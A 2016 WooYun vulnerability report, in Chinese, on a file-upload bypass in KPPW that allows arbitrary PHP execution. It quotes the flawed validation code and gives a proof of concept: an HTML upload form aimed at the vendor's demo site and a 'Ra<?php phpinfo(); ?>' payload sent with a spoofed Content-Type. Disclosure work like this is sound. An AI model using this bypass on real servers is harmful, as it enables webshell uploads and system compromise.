漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2016-0170283
漏洞标题:kppw任意代码执行漏洞
相关厂商:keke.com
漏洞作者: monkey
提交时间:2016-01-16 09:01
修复时间:2016-01-21 09:10
公开时间:2016-01-21 09:10
漏洞类型:文件上传导致任意代码执行
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2016-01-16: 细节已通知厂商并且等待厂商处理中
2016-01-21: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
武汉客客demo网站存在任意文件上传漏洞,可获取webshell。
详细说明:
demo.kppw.cn为武汉客客信息有限公司产品的展示网址。
网站在文件类型过滤时逻辑不严谨导致可以绕过验证,上传php文件,执行任意代码。
具体分析:
文件Keke_upload_class.php中的validateFormat()函数存在问题:
function validateFormat() {
if (! is_array ( $this->fileFormat ) || in_array ( strtolower ( $this->ext ), $this->fileFormat ) || in_array ( strtolower ( $this->returninfo ['type'] ), $this->fileFormat ))
return true;
else
return false;
}
validateFormat()验证文件格式时不严谨,$this->returninfo ['type'] 是从http头中直接获取文件类型进行验证,导致通过修改http头的方式绕过validateFormat函数。
同时文件 keke_file_class.php在过滤时也存在漏洞,这个漏洞之前有人提交过,但是厂商没有修改,只是又添加了一个validateFormt()函数。
static function get_file_type($file_path, $ext = '')
in_array ( $typeCode, array ('8297', '8075' ) ) && $fileType = $ext;
这里逻辑有问题,判断文件头类型后直接把文件的后缀名赋值给了$fileType。导致了可以绕过fileFilter()函数。
同时绕过以上两个函数,可上传php后门。
漏洞证明:
1、构造上传客户端html文件:
<form method="POST" enctype="multipart/form-data" action="http://demo.kppw.cn/index.php?do=ajax&view=upload&file_type=big&filename=filename">
请选择文件: <br>
<input name="filename" type="file"><br>
<input type="submit" value="上传文件">
</form>
2.shell前面加上Ra
Ra<?php phpinfo(); ?>
3、上传shell
将文件content-Type改为:jpg
上传文件路径为:
访问上传代码http://demo.kppw.cn/data/uploads/2016/01/15/148962065456990284bfe19.php
修复方案:
加强过滤
版权声明:转载请注明来源 monkey@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2016-01-21 09:10
厂商回复:
漏洞Rank:4 (WooYun评价)
最新状态:
暂无